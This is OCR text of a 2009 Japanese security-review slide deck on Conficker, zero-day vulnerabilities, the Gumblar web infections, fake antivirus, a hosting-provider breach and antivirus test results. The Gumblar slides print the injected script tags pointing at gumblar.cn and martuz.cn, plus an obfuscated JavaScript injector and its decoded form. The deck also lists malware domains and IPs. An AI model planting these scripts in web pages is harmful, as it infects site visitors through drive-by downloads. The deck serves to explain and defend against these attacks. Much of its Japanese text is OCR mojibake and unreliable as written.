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Conficker / Downad

» 2008 R ~2009 FERTHITHLT
» MERM|
[MS08-067 - BR&: Server H—E XDMEFTFMHEIZKY . JE—F
TO—FMEITIND (958644) | R [azHHE
patch: 2008.10.24
Conficker / Downad:2009.11.21 =4

B B E A HEEE (autorun.inf ) 2 LMV R
EIIA (admin$) o7
RENT UL TOSI— Y OERIERERF
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USB 7 )V A

» Windows ) B E)FH 4

= fBE (autorun.inf) Z F| R
» AIHREYIELK (USB AE!), USB HDD 73 &) &4t
» NoDriveTypeAutoRun LYV AN —F—F R TFE T NI HE

HIETES...... X AN TETLVEDoT=

ZOXRMODEFHFTAT S LITFEELT=H. Windows 2000 /
XP / Server 2003 FAEE#FH 704 5.1, (953252) X BEE#FH TIE

LS higmhor=

TR

2009.02.25 [Z&S5K . EHTAH S5.L967715 ELTEEEE

THELMm

Microsoft H-7/R—k i fifiEER http://support.microsoft.com/kb/Z&E 5
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» autorun.inf ZDEDFTE ML T HHEZLHD

http://www.us-cert.gov/cas/techalerts/TA09-020A.html

http://blog.lucanian.net/archives/51199862.html

y ROARETREITTES (from Semplice)
reg delete "HKCU3Software¥Microsoft¥Windows¥
CurrentVersion¥Explorer¥MountPoints2" /f

reg add “HKLM¥SOFTWARE¥Microsoft¥Windows NT3
CurrentVersion¥IniFileMapping¥Autorun.inf" /f /ve /t reg_sz /d
@SYS:DoesNotExist
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» Windows 7 [ZBWT., OCKBEEFBENDEFHNEES
nit-

FEHRFEDYY L—IINTIILAT 4TI LTI BB ETHEEE
R—KrLZRLY

» Windows XP ~Server 2008 % Windows 7 EEILEF)(Z
LE-WEEIX. BHT705 54971029 @RI 5
HEEHTIIEAINGLDOTIEE




TINVr—varV 7 bz T ANOUE

» Internet Explorer
» Microsoft Office
» Windows Media Player

» Flash Player Microsoft Update Tl E
» Adobe Reader / Acrobat Y (AR

» QuickTime
» Firefox

> ...

» O-day LEHZ F



O-day i

» 2008.11.16: Internet Explorer

http://research.eeye.com/html/alerts/zeroday/20081209.html
patch £2{it:2008.12.18

» 2008.12.10: T—k/\wk Office T¥ A /\—4

http://www.microsoft.com/japan/technet/security/advisory/960906.mspx

patch $2{#t: 2009.04.15(MS09-010)
» 2009.02.19: Adobe Reader / Acrobat

http://www.adobe.com/support/security/advisories/apsa09-01.html

patch $&1i:2009.03.10(9.x) . 2009.03.18(8.x LARI)
» 2009.02.25: Excel

http://www.microsoft.com/japan/technet/security/advisory/968272.mspx

patch $2{t: 2009.04.15 (MS09-009)



O-day i

» 2009.03.1I: —XERB

http://blog.trendmicro.co.jp/archives/2657

http://www.justsystems.com/jp/info/js09001.html

patch $Z{#:2009.03.16
» 2009.03.25: Firefox

http://www.mozilla-japan.org/security/announce/2009/mfsa2009-12.html

patch $E{it:2009.03.27
» 2009.04.03: PowerPoint

http://www.microsoft.com/japan/technet/security/advisory/969136.mspx

patch $2{t: 2009.05.13 (MS09-017)



O-day i

» 2009.05.29: DirectShow
http://www.microsoft.com/japan/technet/security/advisory/971778.mspx
DirectShow D R Fa. QuickTime 7714 ILDAIETHIF
patch $24i£:2009.07.15 (MS09-028)

» 2009.07.07: MicrosoftVideo ActiveX > rA—JL

http://www.microsoft.com/japan/technet/security/advisory/972890.mspx

ActiveX A O—)LD R ME7ED T, IE L THIF
patch $&1i: 2009.07.15(MS09-032; kill bit #E&E 3 571=17)




O-day i

» 2009.07.13: Microsoft Office Web A R—H%k
( ActiveX a>kO—)L)

http://www.microsoft.com/japan/technet/security/advisory/973472.mspx

patch $24i£: 2009.08.12 (MS09-043)
» 2009.07.21:Adobe Reader / Acrobat, Flash Player

http://www.adobe.com/support/security/advisories/apsa09-03.html

5 C R Bfa/HY Adobe Reader / Acrobat & Flash Player M4 (12

B/ %8R
T

patch $Eft:2009.07.3 | ( Adobe Reader / Acrobat )
2009.08.03 (Flash Player)

E (& 0-day TIIHEM-7=(8 MBBRINZEENZEZ(TTLV:)



O-day i

» 2009.08.31:1IS FTP H—E X

http://www.microsoft.com/japan/technet/security/advisory/975191.mspx

patch 2{i£:2009.10.14 (MS09-053)
» 2009.09.07: SMB2 (Windows Vista / Server 2008 / 7 RC)

http://www.microsoft.com/japan/technet/security/advisory/975497.mspx

Conficker / Downad D &HIZHEAD TlIEEDEET HMREE
HoT=H . FEWNZELZEHI TSI oT-
patch $#24£:2009.10.14 (MS09-050)

» 2009.10.09: Adobe Reader / Acrobat

http://blogs.adobe.com/psirt/2009/10/adobe_reader _and_acrobat_issue 1.html

http://www.adobe.com/support/security/bulletins/apsb09-15.html
patch ¥21#£:2009.10.14
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» {RZE{EEEE



Gumblar (GENOY A )LV A, JSRedir-R)

» 2009.03~06 IZi5RAT. I=IELZENLIRIICLEE ?

» Gumblar (TR T 7AMILMWZREIN TN =Y AFD R AL
W

78.110.175.249(2009.03)

94.247.2.195 (hs.2-195.zlkon.lv) (2009.03)
gumblar.cn (2009.05)

martuz.cn (2009.05)

» 2009.04.04 [Z PC i@HRH 1~ GENO I A KRR SN 1= [FIZ
MBENLEMN>T=1=8. [GENO OM LR 1LEFREh
=

GENO [ZIEE&HAFENT-D (L zlkon




Gumblar (GENOY A )LV A, JSRedir-R)

G AJé*LT*IE%Eﬂ"fF WEEI7AILERRY Ak
ARG Ah) (EY M)

[(script src=//gumblar.cn/rss/?id=2>}

<{/script>

Drive-by download




Gumblar (GENOY A )LV A, JSRedir-R)

» gumblar.cn/rss/?id=XXXXXXX
jscript.dll M/IN—2 3 BEIZEDEE
Internet Explorer ME D H|E ?
» gumblar.cn/rss/?id=2
PDF 774 JL (Adobe Reader / Acrobat IZR&FH)
» gumblar.cn/rss/?id=3
swf 774 JL (Flash Player E& )
» gumblar.cn/rss/?id=10
exe 77MIL(RILITT)



Gumblar (GENOY A )LV A, JSRedir-R)

» FTP &5 D X HE
INAT)—RRAT4—5—0mEHRE. 2 —H & N\RT—FEE&E
HHLTEESAFIE(E
CDFEMICEDNT, 515 Web R—U I AFITD
EEIL T DHIDIEHREF YT F¥9 5=, SFTP L EIZLD
EEILBEFIT O CLEEINEGS

» IREELT= FTP 7 AU MNBHZ{FE->TIERAL. Web OV

TOVEEETNZD
FNRHAOBEES - ESMATOT S LN GFEET HIERK
BAD web FAEABRNTHIAINT=-DIZZDT=6




Gumblar (GENOY A )LV A, JSRedir-R)
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{script src=//gumblar.cn/rss/?id=2>
</script>

A—HNEELT
LVE Web 1k

FTP T7yFO—F

YAz

Tk
7 A

Tz A

EEY A



Gumblar (GENOZ A )V A, JSRedir-R)
y ERIZHASNAX I TRDH| (martuz)

<script language=javascript><!--

(function(L8U9){var
yVwv=('"v'61r'20a°3d'22'53c’72i" 70tEn"67i 6e"65°22"2cb*3d 22V 65rsion 28)+'22'2¢j' 3
d'22°22 2cu 3dnav 69gato 72 2eu 73erA’'67ent’ 3b’69f((u’2ein’64ex 4ff(22Chrome 22)
"3c0)'26°26( 75 2ei 6ed 65x0Of("22°57in'22°29'3e'30°29'26°26°28u " 2ei 6edex 4ff('22°4
eT206°22) 3c'30) 26°26(d 6f 63ument'2e’63 6fokie 2eindexOf(*22 6die 6b"3d1'22°29°
3c0)'26'26(typeo’66( 7a’72vzt'73) 21 3dty 70e0 66('22A22))) 7bzrvzts'3d'22A 22" 3b
65val("22'69f(wi'6edo 77 2e 22 2ba 2b 22)j" 3dj+'22+a’'2b ' 22Majo’ 72°22+b+a+ 22Minor
"22+°62°2ba’2b 22Build 22+b+°22j°3b°22) 3bdo 63 75m"65nt" 2ewrite(" 22" 3cscript 20°7
3772°63°3d 2f 2fm 61rt' 22+ 22uz’ 2ecn’ 2fvid 2" 3fid 3d 22+j+'22 3e"3¢c 5¢ 2fs ' 63r'69p’7
4°3e'22) 3b 7d").replace(L8U9,'%');eval(unescape(yVwv))}) (/¥ /9);

--></script>




Gumblar (GENOY A )LV A, JSRedir-R)

» iR

P4

\

<script language=javascript><!--

var
a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)
&&(u.indexOf("Win")>0)&&(u.indexOf("NT
6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")) {zrvzts
="A"eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"};");document.
write("<script src=//mart"+"uz.cn/vid/?id="+j+"><¥/script>");}

--></script>




Gumblar (GENOY A )LV A, JSRedir-R)

» spam MDIE1{E
» [TEHT 2 F 74 )L A (System Security 2009) DA A+—JL
RESoH LT (BREEKRKYIMIZT)

FIVr—2a v RIS3ETHE [T7MILNRELTLNSDTT T
) —,3 % EITTELLY, System Securityzx 7 I T4 RN—h & |
CELEL,. A—Y—ZFREYANMIFEELTILOYND—FEELE
DANZEBD,

http://www.itmedia.co.jp/enterprise/articles/0905/14/news021.html

» Google RERIMGERETHI A
RIVOITH AR
» PUFIAILARYIRDEL



Gumblar (GENOY A )V A, JSRedir-R)
» 2009.10 Mo EEZH B (Gumblarx)

LS EIC

WEY A HEHIC

Adobe Reader / Flash Player Mt Internet Explorer (MS09-
002) > Microsoft Office Web a2 7R—R 2 (MS09-043) I8

%g;
BARD) T e hERFERET . R
B EHEED TR
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The Gumblar system: £ B8z T&EfFrh

http://www.viruslist.com/en/weblog?weblogid=208187897% JTIZ{E R

BEY

(Dilsg;éc%er) K ZEH A | (Infector)

700 LIk
BRAaH Ak I

(Injector)
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40,000 LA E

e, ©




8T FIALINA

y F2EZIETSLVS6D

@ Windows Enterprise Defender - Home - Windows Internet Explorer

@ Q ® ’g http://windowsenterprisedefender.com,

e

3 | x,| |f5' Live Search

I7AIUF) RWEE) T|RV) BRICAD(A) Y—IUT) AILT(H)

x Norton-  €)-  (@n-tros{ms-
¢ BRIEAD ‘ @ Windows Enterprise Defender - Home |

Mo v ] s v R—Z(P)v £—TFA(S)v Y—ILO)v @~

WINDOWS

Enterprise Defender

Home Product Buy now

Windows Enterprise Defender

B Protection against virus threats

2 Protection for ICQ and IM clients
© Low CPU load

Download Now ¥

Threat center

Powerful and efficient internet antivirus suite |

B Intelligent protection against spyware and malware ,

>

Language English g

FAQ Support

e P \\

Internet Threats

i

—

Free Online Scanner

Alost —.._l. mn

Features

- Fast automated updates

- Real-time protection against malicious and suspicious
software

- Advanced protection against spyware and adware.

- Real-time protection against security threats when using
ICQ and IM dients

@ 45—y b | REE-K:BH a v ®100% ~




indows Enterprise Suite

Enterprise Suite - Online Protection — Opera

FrfE REE FTW Febw—hE oedimnb@ -l s

m & Enterprise Suite - Onlin.. ¢ i8S S

€| 4= = » 2 M F |ﬁ hittp:#/ letmeguardyour—pe.com/fp=pS2deWipc FY2FGiBbbodyh k1201 VpKe F Zatrau JS2BCoKH: | = | =

¥ My computer

':ﬂ My computer

System Tasks %= Windows Security Alert

‘Wigw syskem information

o To help protect your computer, Windows Web Security
ﬁ Add ar remove programs have detected Trojans and ready to remove them.

D‘ Change a settings

Detected spyware and adware on your computer: Filenarme:
Other Places 9 AdvWare Hothar ansi.sys -
.—g My Network Flaces 9 Trojan.Fakealert.355 erg_dial.ini E|
g Trojan Horse IRC /Backdoor.SdBot4.FRY usbmon.dll
iy DERNmENE 9 Trojan-Downloader.Win32.Tibs.kc dssec,dat
(32 shared Documents ¥ adware.Win32.L ookZme.ab NOTEPAD.EXE 4

[} Control Panel

L Remove all J [ Cancel J

Details

e Spyware is software, which can gather information from user's computer

@ throught Internet connection and send them to its creater. Gather
infarmation can be passwords, e-mail adresses and all that data, which is & WARNING | ]

importank for you,

My Computer
Swystem Folder

Mame Type Threat level
9 Adv¥Ware.Hotbar irus High
9 Trojan.Fakealert.355 irus Medium
9 Trojan Horse IRC/Backdoor.SdBot4.FRY irus Critical
9 Trojan-Downloader.Win32.Tibs.tc Wirus Medium

[.] 9 Adware.Win32.Look2me.ab Yirus Critical

! | 100%
SECURE SITE Recommend: Click. "Start Protection” button to erase all threats Start Prokection|

vl & (o100 (v

o
4
@
4




Windows Enterprise Suite

JrfILE REE FTW EEE Jebv-bE v-D sTE
@ - c far | Y httpf Y virustotal com/jp/analisis/3da565c62 d0ae1 B07e 6326503742841 23370 T8004d85 [3 - -'lv )_ -
(8] S RBA—T P Firefox BETHES 0] BIZ1-2
)] Virustotal. MD5: 5el]hada3c29...ﬁ ﬁ My ThreatExpert Reports |j ThreatExpert Report: Mal/Fakef-.. |j GRIE) + |-
Srpski | MakenoHcku | L | Suomi | ihtddl | H=20 | noap | Slovenséina | Dansk | Pycckwmid | Romand | Tirkee | A
Mederlands | EMrikd | Frangais | Svenska | Portugués | taliana | B850 | 4P | Magyar | Deutsch | Cesky |
Folski | Espafiol | English
VI RUS Virustotal (3 SERULLZ7-ILERBIFT &Y —1E
AT, DAL A, D—da, FOAORES LUT
TOT AL FOALAI DV ILLVsEENAETO=IL Y L
TERRFHE (CRELET, F.
J7 )£ setup_builds_158.exe FIF 2009.11.14 15:45:40 (UTC)
IRTEOIRE: 5=
FESR: 5/39 (12.82%)
Bl E RS R EEIR] |2
TFMNWA =3 L2 0] f=2 3
a-sfquared 4,.5.0.41 2009.11.14 -
AhnLah-¥3 5.0.0.2 2009,11.13 -
Antivir 7.9.1.65 2009,11.13 -
Antiwv-AVL 2.0.3.7 2009,11.13 -
Authentium L.2.0.5 2009.11.14 -
Avast 4.5.1351.0 2009,11.14 -
BitDefender 7.2 2009,11.14 -
CAT-OuickHeal 10.00 2009.11.13 (Suspicious) - DNiScan
ClamiV 0.94.1 2009.11.14 - .
T S

http://www.virustotal.com/jp/analisis/3da565c62d0ae1807ef63265¢c37a284fffe337c78b
04d831289fd9762aeb2558-1258213540



Windows Enterprise Suite

%) ThreatExpert Report: MalfFake AY-AX — Mozilla Firefox
LB REE FTW EBEG JWw-0E v-lD Al

(8] £{RBA-T @ Firefox &FE-THdD L) BHHZ1-2
)] Wirugtotal MDE: Belbada3dc29e11ach.. ﬂ My ThreatExpert Reports ﬂ ThreatExpert Report: MalfFake...ﬁ + o=

3» ThreatExpert

Submission Summary:

Visit ThreatExpert web site | Close Report

@ Submission details:
»  Submission received: 14 November 2009, 09 50: 59 B
v Processing time: 8 min 19 sec
v Submitted sample:
i. File MDS: OxSEOBADA3IC29EL11ACSE76A19BEBDEIGFS
------ File SHA-1: OxBEBD4370DBFCOSBDASZSELI0D30FFECADOCIEQNC434
L. Filesize: 188,416 bytes
Lo plias: Mal/Fakeay-ax 0 [Sophos]

@ Summary of the findings:

What's been found Severity Level

Downloads/requests other files from Internet, a

Creates a startup registry entry. L

Technical Details:

@ The new window was created, as shown below:

S JavaScriptI—BRFFeTEN TUE, 142 (hreatexpertcomd | <SCRIPT: 2 | <OBJEGT: 0 AFua | @
S

[ Enterprise Suite Setup @ W
v

ET

http://www.threatexpert.com/report.aspx?md5=5e0bada3c29e11ac8676a19bbbd636f3



WDOTHEZTH
» Web #RZRIERE
SEO IRARX=2%
BREFERETILIITHRI A
» — %D Web Y1k
Web L&
RS AINT=Web YAk
TILO 7 ERHAWeb R—U
» SNS. Twitter
Koobface Ry kv
» BFA—IL(EBE SN URL IZ7IEALT, Hffch
=5 oa0—4%4L70)




#: BREDOLAB

» A9 O0—4 BREDOLAB MHETHEHD
(27 >F A )LAI Antivirus Pro 2010
Rybk Ykl Zeus]




BENILDNR—Y

http://www.malwareurl.com/

0 Malwar=URL - Opera

:Eg

Ir-LILF) |EE) FRV)
[% MalwareURL x

Jwa—4(B)

TATTYNMG)  Y—ILT)  AILT(H)

0 Malware Domain List - Opera

P || [ hiep:

CIESNEIEINEINE TN

W—IT)

I7AILF) ®/EE) F=(V) AJLT(H)

JwHI—H(B) DrTzw bG)

@ 6 « 1 fi

n Services we use

+ VirusTotal

» Wepawet
+ Anubis
+ Threat Expert

- Qur users

14 ] E MalwareURL > ol O Malware Domain List

Google

@ @ L ‘ﬂ‘ QJ @ i} |® http://www.malwaredomainlist.com/mdl.php

M A

Homepage | Forums | Recent Updates | RSS update feed | Contact us

WARMNING: All domains on this website should be considered dangerous. If you do
not know what you are doing here, it is recommended you leave right away. This
website is a resource for security professionals and enthusiasts.

6«1 B

Search: | [ [ann ~ | Results to return: ’:/ Include inactive sites

Search

Page 0 1..104

2009/11/16_17:20 diklinodr.cn/redir.php

2009/11/16_17:20 sucerdeuerf44.com/dsff/r.php

2009/11/16_17:20 spainsn.com/lsd.php

2009/11/16_17:20 -

2009/11/16_17:20 cryaboutmeasure.su/cp/gate.php

Gy @ v

2009/11/16_14:15 www.conexionmusical.de/red.php

| mn |

111.221.47.175

80.91.191.156

58.218.199.186

193.104.27.86/
usus/gate.php

61.156.242.119

62.140.23.71

-

o
=~ |Q 100% -ﬂ

http://www.malwaredomainlist.com/mdl.php




fe AR LB

» FEISPDVAserv, zero-dayIE# 215, M58 x =N
=V 7 DA RITER

http://slashdot.jp/security/article.pl?sid=09/06/12/0539235



VAserv Off (2009.06)

» VAserv [ZRBEIERR T4 H—EXDEEYIREL
T HyperVM Z{& FF

» HyperVM Z# A AATZRBRR T4 T T T Yk R—
Kloxo (IBFF Lxadmin) ICEEMDIEHBEN R RN, %
REI(X 2009.05.21 [ZBAFETT Ixlabs [TEENLT=ELND AN,
HIFLWLWRIEDFonLEh-=1EF,

» FEREBHNHETEEREREZ 26 (2009.06.04)

http://milwOrm.com/exploits/8880




VAserv Off (2009.06)

» Ixlabs [FMEIERRY T+ 7 12124t (2009.06.05) , K
XBR(Z/N—23 M ENoTUL -0 B A TR
M 2.0.7992 THRBRYZFH>TLVEM-T=1EFK,

y IWEMNFESE VAsery TIE 10 BEHD Web M +DT—
AMEHSNS

http://www.theregister.co.uk/2009/06/08/webhost_attack/
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NSSLabs 2009 Q3 Endpoint Protection
Test Report
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Key Findings
s  |n-the-cloud reputation systems boosted protection significantly on average
+ Trend Micro achieved the best download and execution protection with 96.4% overall
» Kaspersky ranked #2 in download and execution protection with 87.8% overall
* Norton's behavioral protection excelled, making up for lower protection in the download phase.
*  While McAfee technically ranked #4, their exceptionally short time to block should be commended.

Protection over Time

The table and following chart summarize two important factors of total protection on the web-based
malware attack vector. Caught on download prevents malware off the machine. For malware that made it
past this first line of defense, we also measured the percentage ‘caught on execution.” Total consists of
download + execution layer protection.

Caught Initially on Download  Caught Subsequently on Execution

Trend Micro 91.0% 5.5%

Kaspersky 78.5% 9.3% 87.8%

MNorton 50.5% 31.3% 81.8%
McAfee 79.8% 1.9% 81.6%
Norman 66.3% 14.9% 81.2%
F-Secure 63.7% 16.4% 80.0%

AVG 65.0% 8.3% 73.3%

Panda 64.4% 7.6% 72.0%

ese 65.4% 25% [ eo% |
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Comparatives / Reviews
Links

About Us

Contact

Join the Tests!

We invite all interested Anti-
Virus software vendors, to
apply forinclusion in the main
tests of 2010. Please write us
and ask for the conditions to
participate. The number of
participants is limited.

- ' Nnaepe re -
Q, zearch.. A M -
Home Comparatives Forum Weblog Newsletter
welcome | tests - reviews - reports | discussion board | latest news | subsoribe now |
Main Menu Home
Home

Welcome to AV-Comparatives.org

On this site you will find independent comparatives of Anti-Virus software. All products listed in our
comparatives are already a selection of some wvery good antivirus products. In order to get
included in our main tests, vendors must fulfill various conditions and minimum requirements.

The following products are tested in the current main comparatives:

avast! Professional Edition 4.8
AVG Anti-Virus 8.5

AVIRA AntiVir Premium 9
BitDefender Antivirus 2010
eScan Anti-Virus 10

ESET NOD32 Anti-Virus 4.0
F-Secure Anti-Virus 2010

G DATA AntiVirus 2010

Kaspersky Anti-Virus 2010

Kingsoft Antivirus 2009

lcAfee VirusScan Plus 2009
Microsoft Live OneCare 2.5

Morman Antivirus & Anti-Spyware 7.10
Sophos Anti-Virus 7.6

Symantec Morton Anti-Virus 2010
TrustPort Antivirus 2009

Look into the Comparatives section to find out additional tests and reviews.

Latest Reports %

Malware Removal Test

On-Demand Comparative
August 2009

Palls

Did you ever try to
remove malware from
your computer?
‘" no, i think my pcwas
never infected
" yes, butitdid not start
afterwards
€ yes, butthe product
was not able to
remove the malware
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» On-demand Comparative (&, DFEYILI AV-Comparatives.org

EREL7

[TDELIIZES

RINEENFE AR TELA B IEHBEL T ST

Company i aliorld F-Secure G DATA Security Kaspersky Labs

Product eScan 155 F-Secure Anti-Virus | G DATA AntiVirus Kaspersky AV

Program version 10,0997 43 1000248 20049 90.04863

Engine / sighature version MA 91015261 MA A

Awa ADVANCED

Humi = Company Kingzoft Mcifee Microsoft ESET

on-d | Product Kingsoft AntiVirus  McAfee VirusScan+ Microsoft OneCare  NOD3I2 Antivirus

Dete|  fogram version 200911 663 1341102 25280028 404370

SET| Engine/ signature version 2009.8.10.92 S400.1158 F 5705 163.1207.0 43231230

35: Award reached in this test _ ADVANCED STANDARD ADVANCEDs

Macrd  Humber of false positives many many few few

Serip On-demand scanning speed fast average slowy averane

Wiory  Detection of virus malware:

Backl SETA (Decd? - Dec) 2.309 850 PASSED PASSED PASSED PASSED

Troja SET B {Jand2-Augid):

other|  YiNdowes viruses 237 19725 829% 23185 97 5% 21919 921% 22493 945%
Macro viruzes 1184 as 7.1% 14968 100% 1189  992% 148968 100%
Script malware 4 466 1295 290% J482 To0% 372 833% 4278 955%
Wiorms a5 8531 85588 993% 04 322 984% 190 951% 94128 982%
Backdoors/Bots 323723 291 986 | 902% 32 A6 | 99.2% 299285  925% FE.786 | 97 9%
Trojans 1.084 £02 030761 855% 10725925 03 9% 952 095 B358% 1053237 Or1%
ather makaare 2843 20237 | M ,2% 25144 B884% 24945  877% 26888 | 94 6%

TOTAL 1.562,002 1349677 86,4% 154 417 98,7% 1405245  90,0% 1519008 | 97,2%

http://www.av-comparatives.org/images/stories/test/ondret/avc_report23.pdf
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Copmpdhy AMIRA, A il Software AVG Technologies BitDefender

Product AntiVir Premium avast! Professional  AVG Amti-Virnus BitDefender AV

Frograrm version §.20.574 451335 5.0234 12.011.4

Ergines signainre version 02,0076 01.01 245 0e0203-0 270101994 A

Certification level reached ADVANCED STANDARD STANDARD ADVANCED

Mumber of falze positives many many Hahy rany

Profctive detection of "HEW" samples

Windows virusss 138 161 BB BS 35% 89 47% a7 46%

Whiorms 1.71a G526 IG5 43 20% 130 19% 362 J2W

Backdoors 4 966 3737 % 2677 54% 2 636 53% 3.087 B2%%

Trajans 13.535 3523 % 5,265 39% 5.823 43% G607 49%

ot
Carnpany Kirg=oft McAfes Microzoft ESET

L Product Kingsoft AntiVirus McAfee VirusScan+ | Microsoft OneCare  HOD32 Antivirus
Program version 200211 BE3 133117 25290020 30E340
Engine i signatire version 2009 281 5300 2777 1asM 1.51.391.0 J839.1180
Certffication level reached ADVANCED ADVANCED+ ADVANCEHD+
Mumber of falze pozitives many few Ry fon fen
ProAdive detection of "HEW™ samples
Window's viruses 188 43 23% 122 B5% g2 445 Ryl 45%
Worms 1.733 130 11% 27 16% 51 3% 428 25%
Backdoors 4 965 1.230 259% 1686 34% 3172 G49% 2854 S8%
Trojans 13.555 2 B46 20% 1242 24% 7.850 58% 7416 55%
other malware (incl. script+macra) 2233 12 2% k1A 17% 1.981 59% 1.819 1%
TOTAL  22.635 421 19% 5692 25% 13 666 0% 12 645 56%

http://www.av-comparatives.org/images/stories/test/ondret/avc_report22.pdf
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Microsoft Update (Microsoft &)
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up2date, yum, apt %5 & (Linux)
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http://itpro.nikkeibp.co.jp/article/ COLUMN/20070125/259651/?ST=vista&P=2
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{54} : Kaspersky Internet Security
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B.| Adobe Flash Player 10.x 10.0.22.87 (NPAPI) 11 ORGQi
¥ Sun Java JRE 1.5.% / 5.x 5.0.200.7 A OmaOR
[£] Sun Java IRE 1.6.x / 6.x 6.0.150.3 EEEE OmuOR
[£] Sun Java IRE 1.6.x / 6.x 6.0.150.3 EEEE OmuOR
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@ - @ Secunia Personal Software Inspector
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Secunia's Privacy Staterment | Secunia PSI A7 —824: 24+ HEBETET. Secunia PSI v1.5.0.1 -
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Internet Security 2010
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HHH: Firefox (Plugin Check)

¥} Plugin Check — Mozilla Firefox 3.6 Beta 2

JrAIE REE TV BEG  wiv-bE D AL
- c (ol o https:/ A mozilla.comfen-US/ plugincheck s 7 -" - )_
[B] HBBA— [ Frefox &ENCHTS B BF-1-2 ) UHOEE
#® Plugin Gheck + -
. ll »
I t ; ]
Keep vour Plugins up to date! ~
= Click Update Now to update a plugin. Plllglll Tl]JS
= Complete all recommended updates before restarting your browser.
= What iz a Flugin?
| i . * Why should I update my
Flugin Details Status Acticn Plugins?
1 of 7 plugins are potentially vulnerable * How can Firefox help me?
= Which Plugins do Thawve?
P Shockwave Flash Outdated Version * How do1 disable a Plugin?
Shockwave Flash 10,0 rz2z
Help Us Out
Silverlight Plue-In If wou have plugin information
ﬁ ;,0,40313,6:' = 3-0.40818.0 "m we don't have, please left us knovr,
v
=T a

https://www.mozilla.com/en-US/plugincheck/
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» DNS vy 252 (bind I5E)
» Zen Cart
» EC-Cube
» OpenSSL
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Web 754

PDF viewer

Office 7+
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